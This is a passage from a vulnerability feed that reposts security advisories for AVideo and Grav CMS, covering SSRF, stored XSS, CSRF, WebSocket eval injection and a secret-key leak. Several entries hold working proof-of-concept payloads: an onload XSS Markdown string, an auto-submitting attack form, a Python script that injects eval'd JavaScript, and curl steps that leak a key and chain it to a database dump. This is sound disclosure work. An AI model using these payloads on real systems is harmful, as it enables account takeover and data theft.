endpoints, and any other host the AVideo server can route to. - **State-changing POST to internal endpoints.** Because the request method is fixed to POST and the body is attacker-influenced (the `message` field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies. - **Cloud metadata reachability via 307 redirect chain.** Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable. - **Blindness limits direct data exfiltration** (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels. - **No CSRF protection** on `saveConfiguration.php`, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account. ## Recommended Fix 1. Call `isSSRFSafeURL()` on both the store path and the dispatch path. In `plugin/YPTWallet/YPTWallet.php:1015` (setter) and line 1064 (dispatcher), replace: ```php if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) { ``` with: ```php $resolvedIP = null; if (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) { ``` and reject the URL in `setDonationNotificationURL()` before persisting: ```php static function setDonationNotificationURL($users_id, $url) { $url = trim($url); $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url); if (!isSSRFSafeURL($url)) { _error_log("setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}"); return false; } if (strlen($url) > 2048) { ... } $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); ... } ``` 2. Disable automatic redirect following, or implement per-hop validation. Either: ```php curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); ``` Or use `CURLOPT_REDIR_PROTOCOLS` limited to `CURLPROTO_HTTP | CURLPROTO_HTTPS` **and** pin DNS via `CURLOPT_RESOLVE` using the `$resolvedIP` from `isSSRFSafeURL()`, then follow redirects manually by re-validating each `Location:` header with `isSSRFSafeURL()` before re-issuing the request. 3. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call: ```php $parts = parse_url($donation_notification_url); $port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80); curl_setopt($ch, CURLOPT_RESOLVE, ["{$parts['host']}:{$port}:{$resolvedIP}"]); ``` 4. Add a CSRF/global-token check on `plugin/YPTWallet/view/saveConfiguration.php` (consistent with the token validation added elsewhere in the codebase in commit `11e7804f7`) to prevent webhook planting via CSRF on a victim's authenticated session.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-918 — SSRF

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-wp38-whx3-xffh
https://github.com/WWBN/AVideo/commit/aaacd48f29f1ff71d1eb5fc81d37605f593cefa9
https://github.com/WWBN/AVideo

⚪ CVE-2026-42841

غير محدد

📦 getgrav/grav 📌 All versions < 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ XSS 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع

💬 ### Summary An authenticated user with page editing permissions can inject an executable JavaScript event-handler attribute into rendered image HTML through Grav's Markdown media action syntax. The issue is caused by Markdown image query parameters being converted into callable...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

### Summary An authenticated user with page editing permissions can inject an executable JavaScript event-handler attribute into rendered image HTML through Grav's Markdown media action syntax. The issue is caused by Markdown image query parameters being converted into callable media actions. The public `attribute()` media method can be reached this way, allowing an editor to set an arbitrary HTML attribute name and value on the generated image element. For example, this Markdown: ```markdown ![Quarterly market overview](market-overview.gif?attribute=onload,alert(document.domain)) ``` is rendered as an image tag containing an executable `onload` handler: ```html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?..."> ``` This results in stored XSS when another user views the affected page. In a multi-user Grav installation, a lower-privileged page editor could use this to target administrators or reviewers who preview or view editor-controlled content. Tested versions: - Grav CMS: 1.7.49.5 - Admin Plugin: 1.10.49.1 Suggested classification: - CWE-79: Improper Neutralization of Input During Web Page Generation - Stored Cross-Site Scripting - Suggested CVSS v4.0 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N` - Suggested CVSS v3.1 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N` ### Details The issue appears to come from this source-to-sink flow: 1. `ParsedownGravTrait::inlineImage()` processes Markdown images. 2. `Excerpts::processImageExcerpt()` resolves the referenced media object. 3. `Excerpts::processMediaActions()` parses the image URL query string into media actions. 4. `call_user_func_array()` invokes the requested action method on the media object. 5. `MediaObjectTrait::attribute()` stores the attacker-controlled attribute name and value. 6. The media object returns a Parsedown element containing the injected attribute. 7. Parsedown renders the attribute name into the final HTML. Relevant code paths: ```text system/src/Grav/Common/Markdown/ParsedownGravTrait.php system/src/Grav/Common/Page/Markdown/Excerpts.php system/src/Grav/Common/Media/Traits/MediaObjectTrait.php system/src/Grav/Common/Page/Medium/StaticImageMedium.php system/src/Grav/Common/Page/Medium/ImageMedium.php vendor/erusev/parsedown/Parsedown.php ``` In `system/src/Grav/Common/Markdown/ParsedownGravTrait.php`, Markdown image excerpts are passed into Grav-specific media handling: ```php if (isset($excerpt['element']['attributes']['src'])) { $excerpt = $this->excerpts->processImageExcerpt($excerpt); } ``` In `system/src/Grav/Common/Page/Markdown/Excerpts.php`, query string parameters are converted into media action calls. The query parameter name becomes the method name: ```php $carry[] = ['method' => $parts[0], 'params' => $value]; ``` The requested method is later invoked dynamically: ```php $medium = call_user_func_array([$medium, $action['method']], $args); ``` For the payload: ```text attribute=onload,alert(document.domain) ``` the method is `attribute`, and the arguments are `onload` and `alert(document.domain)`. In `system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`, `attribute()` stores the caller-controlled attribute name directly: ```php public function attribute($attribute = null, $value = '') { if (!empty($attribute)) { $this->attributes[$attribute] = $value; } return $this; } ``` The image media classes then return the collected attributes as attributes for an `img` element. In `system/src/Grav/Common/Page/Medium/StaticImageMedium.php`: ```php return ['name' => 'img', 'attributes' => $attributes]; ``` The non-static image path in `system/src/Grav/Common/Page/Medium/ImageMedium.php` also returns image attributes in the same way. Finally, in `vendor/erusev/parsedown/Parsedown.php`, the attribute value is escaped, but the attribute name is rendered as-is: ```php $markup .= ' '.$name.'="'.self::escape($value).'"'; ``` As a result, the attacker-controlled attribute name `onload` is emitted into the final HTML and executes as a browser event handler. The Admin Plugin's save-time XSS detection does not appear to block this because the stored content is Markdown media syntax, not raw HTML: ```markdown ![Quarterly market overview](market-overview.gif?attribute=onload,alert(document.domain)) ``` The dangerous HTML is generated later during Markdown/media rendering. ### PoC I reproduced this on a standard Grav CMS installation with the Admin Plugin enabled. Configuration and prerequisites: - Grav CMS 1.7.49.5 - Admin Plugin 1.10.49.1 - Markdown processing enabled for pages - A user account with permission to create or edit pages - A page media file available in the edited page folder, for example `market-overview.gif` Steps to reproduce: 1. Install Grav CMS with the Admin Plugin. 2. Log in to the Admin panel as a user who can create or edit pages. 3. Create a normal content page or edit an existing one. 4. Add or reference a page media file named `market-overview.gif`. 5. Insert the following Markdown into the page body: ```markdown ![Quarterly market overview](market-overview.gif?attribute=onload,alert(document.domain)) ``` 6. Save the page. 7. Open the rendered frontend page in a browser. 8. The JavaScript payload executes when the image loads. 9. Inspect the generated DOM. The rendered image element contains the injected `onload` attribute. Expected result: The Markdown media action should not be able to generate executable HTML attributes. The payload should be rejected, sanitized, or rendered without the dangerous event-handler attribute. Actual result: The payload is accepted and rendered as an executable image event handler: ```html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?..."> ``` Screenshots: - the stored Markdown payload in the page editor <img width="1718" height="1013" alt="edycja" src="https://github.com/user-attachments/assets/8f5e5275-e4ef-4d5e-a2cd-44683537b909" /> - the JavaScript alert executing on the frontend page <img width="1727" height="1002" alt="alert" src="https://github.com/user-attachments/assets/6de81228-830c-49f2-ac41-b15658a8913d" /> - browser DevTools showing the injected `onload` attribute in the rendered DOM <img width="939" height="539" alt="inspect" src="https://github.com/user-attachments/assets/7832c42d-6f3a-4ea2-b072-b837bd3913ed" /> ### Impact This is a stored cross-site scripting vulnerability. An authenticated user with page editing permissions can store a malicious Markdown image reference. When the affected page is rendered, the payload executes in the browser of any user who views that page. In multi-user Grav installations, this may allow a lower-privileged editor to target administrators, reviewers, or other privileged users who preview or view editor-controlled content. Depending on the victim's privileges and deployed plugins, successful exploitation may allow JavaScript execution in the site origin, access to same-origin page data available to the victim, and same-origin actions performed as the victim. CVSS 4.0 rationale: - `AV:N`: the issue is exploitable through the web application. - `AC:L`: no special race condition or complex setup is required after page editing access is obtained. - `AT:P`: exploitation requires the malicious Markdown/media reference to be stored in page content and later rendered to a victim. - `PR:H`: the attacker needs page editing capability. - `UI:P`: a victim must view the affected page. The demonstrated `onload` payload executes on passive page rendering, without requiring a click or form submission by the victim. - `VC:H/VI:L/VA:N`: confidentiality impact can be high when the victim is an administrator or reviewer; integrity impact is limited; no direct availability impact was demonstrated. - `SC:H/SI:L/SA:N`: the injected script executes in the browser/application context and may affect subsequent same-origin interactions available to the victim. ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. **What changed:** `MediaObjectTrait::attribute()` — the sink reached by Markdown like `![alt](img.gif?attribute=onload,alert(1))` — now gates the attribute **name** through an allowlist regex (`^[A-Za-z][A-Za-z0-9_:.\-]*$`) plus an explicit denylist of script-context names: - any `on*` handler (case-insensitive) - `style` (inline CSS expression risk) - `xmlns` (XML namespace tricks) - `srcdoc` (iframe sandbox bypass) - `formaction` (form action override) Invalid names are silently dropped — the attribute isn't stored, so it doesn't survive into the rendered `<img>`. `src`/`href`/`data-*`/`aria-*`/standard media attributes are unaffected. **Files:** - [`system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php) — new `isSafeAttributeName()` gate. - [`tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php) — 28 cases (14 dangerous-name rejections, 14 safe-name round-trips). ### Discoverers @K-Czaplicki @morzelowski ---

الإصدارات المتأثرة

All versions < 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11

نوع الثغرة

CWE-79 — XSS

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

المراجع

https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr
https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663
https://github.com/getgrav/grav

⚪ CVE-2026-43877

غير محدد

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ CSRF 🎯 عن بعد ⚪ لم تُستغل

💬 ## Summary `objects/userSavePhoto.php` is a legacy profile-photo endpoint that accepts a base64 POST parameter and writes the decoded bytes to `videos/userPhoto/photo<users_id>.png`. Its only access control is `User::isLogged()`. It does not end in `.json.php`, so it is excluded...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

## Summary `objects/userSavePhoto.php` is a legacy profile-photo endpoint that accepts a base64 POST parameter and writes the decoded bytes to `videos/userPhoto/photo<users_id>.png`. Its only access control is `User::isLogged()`. It does not end in `.json.php`, so it is excluded from the project's global `autoCSRFGuard` (which is suffix-scoped in `objects/include_config.php`). There is no CSRF token, no Origin/Referer check, and no MIME validation of the decoded bytes. Because AVideo's default cookie policy is `SameSite=None; Secure` on HTTPS (`objects/functionsPHP.php:227`), an attacker who lures a logged-in user to a malicious page can overwrite that user's profile photo with arbitrary bytes and also triggers a site-wide `clearCache(true)` on every forged request. ## Details Handler (`objects/userSavePhoto.php`, 51 lines total): ```php // line 12 - only access control if (!User::isLogged()) { $obj->msg = __("You must be logged"); die(json_encode($obj)); } // ... // line 29 - unvalidated base64 from POST $fileData = base64DataToImage($_POST['imgBase64']); // line 30 - deterministic filename tied to the VICTIM's session $fileName = 'photo'. User::getId().'.png'; $photoURL = $imagePath.$fileName; // line 35 - raw bytes written to disk $bytes = file_put_contents($global['systemRootPath'].$photoURL, $fileData); // lines 43-48 - DB update + global cache invalidation unconditionally $user = new User(User::getId()); $user->setPhotoURL($photoURL); if ($user->save()) { User::deleteOGImage(User::getId()); User::updateSessionInfo(); clearCache(true); } ``` `base64DataToImage` (`objects/functionsImages.php:1026`) performs no content validation: ```php function base64DataToImage($imgBase64) { $img = $imgBase64; $img = str_replace('data:image/png;base64,', '', $img); $img = str_replace(' ', '+', $img); return base64_decode($img); } ``` There is no call to `getimagesizefromstring`, `imagecreatefromstring`, or MIME detection. Arbitrary bytes up to `post_max_size` are accepted. **Why the global CSRF guard does not apply.** `objects/include_config.php` (around line 314) only invokes `autoCSRFGuard` when the script filename matches `*.json.php`: ```php if (... $_SERVER['REQUEST_METHOD'] === 'POST' && substr($baseName, -9) === '.json.php') { autoCSRFGuard($baseName, $_SERVER['SCRIPT_FILENAME']); } ``` `userSavePhoto.php` is missing the `.json.php` suffix, so neither `autoCSRFGuard` nor `forbidIfIsUntrustedRequest` runs. There is no explicit call to any of these in the file (verified by grep: no `getCSRF`, no `forbidIfIsUntrustedRequest`, no `HTTP_ORIGIN`, no `HTTP_REFERER`). Routing rewrites in `.htaccess` also expose this handler as `/savePhoto`. **Why the victim's cookie is sent cross-origin.** `objects/functionsPHP.php:227`: ```php function _getCookieSameSiteValue($secure) { return $secure ? 'None' : 'Lax'; } ``` On HTTPS (the expected deployment), session cookies default to `SameSite=None; Secure`, which browsers attach to cross-site POSTs. A plain `application/x-www-form-urlencoded` form POST is a "simple request" under CORS rules and does not trigger a preflight, so the browser sends the POST and its cookie without the server having to opt in. ## PoC 1. Victim logs into the AVideo instance (e.g., `https://victim.example.com`). `PHPSESSID` is set with `SameSite=None; Secure`. 2. Attacker hosts the following HTML on any domain: ```html <!doctype html> <html><body> <form id="f" action="https://victim.example.com/objects/userSavePhoto.php" method="POST">  <input name="imgBase64" value="SEVMTE8gV09STEQ="> </form> <script>document.forms[0].submit();</script> </body></html> ``` 3. Victim visits the attacker page in the same browser. The form auto-submits. The browser sends the POST with the victim's session cookie. 4. `userSavePhoto.php` passes the `User::isLogged()` check, decodes the base64, and writes the raw bytes to `videos/userPhoto/photo<VICTIM_USERS_ID>.png`. It also calls `$user->save()`, `User::deleteOGImage()`, `User::updateSessionInfo()`, and `clearCache(true)`. 5. Fetching `https://victim.example.com/videos/userPhoto/photo<VICTIM_USERS_ID>.png` (the file is now the attacker's bytes — `HELLO WORLD` in this test case). The response is `200 OK` and the body equals the submitted bytes. Replace the `imgBase64` payload with a valid PNG to make the defacement visually persuasive, or with up to ~6 MB of any bytes to force a large write. ## Impact - **Integrity — profile defacement of any logged-in user.** One click lets an attacker replace a victim's profile photo with arbitrary bytes: offensive imagery, misleading branding, or a clone of another user's photo for impersonation. The file path is deterministic (`photo<users_id>.png`), so the attacker can later direct others to the overwritten URL. - **Availability — global cache thrash.** Every successful forged request calls `clearCache(true)`, invalidating application-wide caches. Repeatedly tricking logged-in users into visiting the attacker page (e.g., by including the payload as a hidden iframe on a popular site) produces sustained cache invalidation. - **Availability — disk pressure.** With no size cap beyond PHP's `post_max_size` (default 8 MB → ~6 MB after base64 decode), each forged submission writes a multi-megabyte file. Across many victims this enables distributed disk exhaustion. - **No confidentiality impact** and no code execution (files are served with `Content-Type: image/png` based on extension, so SVG-with-script payloads are not interpreted). - **Related endpoints.** `objects/userSaveBackground.php` exhibits the same pattern (same `base64DataToImage` sink, same lack of CSRF/Origin/MIME checks) and is exploitable identically; fix should be applied consistently. ## Recommended Fix Apply the existing same-origin guard that protects the `*.json.php` endpoints and add content validation. In `objects/userSavePhoto.php`, immediately after the login check: ```php require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; forbidIfIsUntrustedRequest('userSavePhoto'); $raw = $_POST['imgBase64'] ?? ''; if (strlen($raw) > 2 * 1024 * 1024) { // ~1.5 MB decoded cap $obj->msg = __('Image too large'); die(json_encode($obj)); } $fileData = base64DataToImage($raw); if ($fileData === false || $fileData === '' || @imagecreatefromstring($fileData) === false) { $obj->msg = __('Invalid image'); die(json_encode($obj)); } ``` The longer-term fix is to broaden the global guard in `objects/include_config.php` so that `autoCSRFGuard` covers every authenticated POST handler, not only those whose filenames end in `.json.php` — the current suffix-based gating is a footgun that silently excludes legacy endpoints like `userSavePhoto.php` and `userSaveBackground.php`. Also consider moving the `clearCache(true)` call inside the `if ($bytes)` branch so that zero-byte writes do not invalidate the global cache.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-352 — CSRF

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-jw8g-5j46-44rp
https://github.com/WWBN/AVideo/commit/9c38468041505e637101c5943c5370c68f48e3ac
https://github.com/WWBN/AVideo

🟠 CVE-2026-43874

عالية

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ Code Injection 🎯 عن بعد ⚪ لم تُستغل

💬 ## Summary The server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json['msg']`, but the relay function `msgToResourceId()` selects the outbound message from...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

## Summary The server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json['msg']`, but the relay function `msgToResourceId()` selects the outbound message from `$msg['json']` *before* `$msg['msg']`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`. ## Details ### Entry point (unauthenticated) `plugin/YPTSocket/getWebSocket.json.php` (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check: ```php $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL(); die(json_encode($obj)); ``` `getEncryptedInfo()` defaults to `sentFrom = 'browser'` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit. ### Incomplete strip (the fix from commit c08694bf6) `plugin/YPTSocket/Message.php:236-247`: ```php // Strip eval-able fields from browser/guest messages. if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // <-- only strips $json['msg'] } if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) { unset($json['callback']); } } ``` If the incoming `$json['msg']` is a scalar (e.g. the string `"x"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`. ### Relay preference picks the untouched field `plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`): ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // <-- preferred carrier; never stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; } else { $obj['msg'] = $msg; } ``` An attacker payload shaped as `{"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>}` therefore: 1. Passes `switch ($json->msg)` into the `default` case (Message.php:211, 228). 2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === 'browser'`, but `is_array("x")` is false and the strip is skipped. 3. Routing lands on `msgToUsers_id($json, $json['to_users_id'])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379). 4. In `msgToResourceId`, `!empty($msg['json'])` is true, so `$obj['msg']` becomes `{"autoEvalCodeOnHTML": "<js>"}` (Message.php:316-317). 5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless. ### Client-side sink `plugin/YPTSocket/script.js:573-575`: ```js if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); } ``` Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation. ### Routing to any user `msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this->clientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token. ## PoC Step 1 — mint an unauthenticated WebSocket token: ```bash curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php' # {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...} ``` Step 2 — connect and send the crafted message: ```python import json, ssl, websocket TOKEN = '<TOKEN>' # from step 1 URL = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0' VICTIM = 2 # any logged-in users_id with an open tab ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE}) payload = { 'msg': 'x', # scalar -> strip branch skipped 'webSocketToken': TOKEN, 'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"}, 'to_users_id': VICTIM, } ws.send(json.dumps(payload)) ws.close() ``` Expected result: the victim's tab receives `{"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...}` and executes the JavaScript via `eval()`. Optional Step 0 — enumerate active users (using the same token): ```python ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN})) # response lists active users_id values ``` ## Impact - **Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session.** The victim only needs a tab open on the site — no click, no link, no CSRF. - **Same-origin compromise:** the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data. - **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc. - **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them. - This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit `c08694bf6` remain exploitable. ## Recommended Fix Scrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json['msg']`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`: ```php if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { foreach (['msg', 'json'] as $k) { if (is_array($json[$k] ?? null)) { unset($json[$k]['autoEvalCodeOnHTML']); } } // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe if (isset($json['autoEvalCodeOnHTML'])) { unset($json['autoEvalCodeOnHTML']); } if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) { unset($json['callback']); } } ``` Additionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink — walk the chosen `$obj['msg']` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-94 — Code Injection

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm
https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce
https://github.com/WWBN/AVideo
https://github.com/advisories/GHSA-gph2-j4c9-vhhr

🟠 CVE-2026-43873

عالية

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ Info Disclosure 🎯 عن بعد ⚪ لم تُستغل

💬 ## Summary `plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone->myKey`, a constant `md5($global['systemRootPath'] . $global['salt'])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was inte...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

## Summary `plugin/CloneSite/cloneClient.json.php` echoes the local CloneSite shared secret (`$objClone->myKey`, a constant `md5($global['systemRootPath'] . $global['salt'])`) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before `die()`. When the victim has CloneSite configured with a remote `cloneSiteURL` (standard federation/backup setup), the leaked `myKey` is exactly the credential that authenticates the victim to that remote server's `cloneServer.json.php`, allowing the attacker to impersonate the victim and trigger a full `mysqldump` of the remote's database to the remote's public `videos/clones/` directory. ## Details ### 1. The leak (`plugin/CloneSite/cloneClient.json.php:51-60`) ```php $objCloneOriginal = $objClone; $argv[1] = preg_replace("/[^A-Za-z0-9 ]/", '', empty($argv[1])?'':$argv[1]); if (empty($objClone) || empty($argv[1]) || $objClone->myKey !== $argv[1]) { if (!User::isAdmin()) { $resp->msg = "You can't do this"; $log->add("Clone: {$resp->msg}"); echo "$objClone->myKey !== $argv[1]"; // <-- interpolates myKey die(json_encode($resp)); } } ``` Under PHP's web SAPI, the script-scope `$argv` global is not populated from the query string (only `$_SERVER['argv']` is populated, and only when `register_argc_argv=On`). Verified on this host (PHP 8.4.16, built-in web server): ``` bool(false) # isset($argv) string(9) "undefined" # $argv ?? 'undefined' string(9) "undefined" # $_SERVER['argv'] string(9) "undefined" # $argv[1] bool(true) # empty($argv[1]) ``` Because `empty($argv[1])` is true, line 51's `preg_replace` returns `''` and `$argv[1]` becomes `''`. Line 53 therefore enters the outer `if` (empty key). `User::isAdmin()` returns false for unauthenticated callers, so line 57 runs and echoes the contents of `$objClone->myKey` into the response body before `die()`. The response body looks like: ``` <32-hex-char md5> !== {"error":true,"msg":"You can't do this"} ``` The 32-hex prefix is the local `myKey`. ### 2. Where `myKey` comes from (`plugin/CloneSite/CloneSite.php:67`) ```php $obj->myKey = md5($global['systemRootPath'].$global['salt']); ``` `myKey` is a static per-installation value generated from `systemRootPath` and `salt`. It never rotates. ### 3. Why the leaked key is dangerous (cross-site chain) `cloneClient.json.php:75` shows `myKey` is the credential the client presents to its configured remote clone server: ```php $url = $objClone->cloneSiteURL . "plugin/CloneSite/cloneServer.json.php?url=" . urlencode($global['webSiteRootURL']) . "&key={$objClone->myKey}&useRsync=" . intval($objClone->useRsync); ``` On the remote side, `plugin/CloneSite/cloneServer.json.php:32-42` calls `Clones::thisURLCanCloneMe($_GET['url'], $_GET['key'])`, which in `plugin/CloneSite/Objects/Clones.php:73-101` does only: ```php $clone = new Clones(0); $clone->loadFromURL($url); ... if ($clone->getKey() !== $key) { $resp->msg = "Invalid Key"; return $resp; } if ($clone->getStatus() !== 'a') { ... } ``` For any federation pair the remote admin has approved (`status='a'`), supplying `url=<victim>&key=<leaked myKey>` passes this check. `cloneServer.json.php:86-90` then runs an unconditional `mysqldump` of every table except `CachesInDB`: ```php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} ". " --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $return_val); ... echo json_encode($resp); // includes $resp->sqlFile = "Clone_mysqlDump_<uniqid>.sql" ``` The dump lands in `{videosDir}/clones/<sqlFile>`, and `videos/` is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request. ### 4. Not fixed by the previous `clones.json.php` hardening Commit `160e02635`/earlier added `if (!User::isAdmin())` guards to `plugin/CloneSite/clones.json.php` (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to `cloneClient.json.php`, which is a separate file and discloses a structurally different secret (the local `myKey`, not the per-URL server-side keys). ## PoC Prerequisite: target installation has the `CloneSite` plugin enabled with a configured `cloneSiteURL` (this is the standard use: federated backup / site cloning). No authentication required. **Step 1 — leak the local `myKey` (unauthenticated GET):** ```bash curl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php' ``` Response body: ``` 3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {"error":true,"msg":"You can't do this"} ``` The 32-hex-character prefix is `$objClone->myKey`. **Step 2 — use the leaked `myKey` to make the victim's configured remote dump its own database:** ```bash curl -s 